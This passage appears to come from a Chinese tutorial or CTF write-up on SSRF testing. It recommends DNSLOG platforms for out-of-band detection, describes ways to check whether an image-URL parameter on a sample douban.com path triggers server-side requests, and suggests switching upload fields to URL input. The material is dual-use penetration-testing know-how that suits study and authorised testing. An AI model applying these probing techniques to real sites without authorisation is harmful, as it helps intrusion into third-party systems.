推荐使用http://www.dnslog.cn平台或者t00ls的DNSLOG平台,如果有自己的服务器和域名,可以自建一个这样的平台,直接使用BugScan团队开源的工具搭建即可:https://github.com/BugScanTeam/DNSLog。另外我们也可以使用在线平台:http://admin.dnslog.link。 http://ceye.io。
0×05 一些做题思路
1.基本判断(排除法)
如:http://www.douban.com/\*\*\*/service?image=http://www.baidu.com/img/bd\_logo1.png
排除法一:直接右键图片,在新窗口打开图片,如果是浏览器上URL地址栏是http://www.baidu.com/img/bd\_logo1.png,说明不存在SSRF漏洞。
排除法二:使用burpsuite等抓包工具来判断是否不是SSRF,首先SSRF是由服务端发起的请求,因此在加载图片的时候,是由服务端发起的,所以在我们本地浏览器的请求中就不应该存在图片的请求,如果刷新当前页面,有如下请求,则可判断不是SSRF。(前提设置burpsuite截断图片的请求,默认是放行的)
修改"type=file"为"type=url" 比如:上传图片处修改上传,将图片文件修改为URL
有时也可也形成ssrf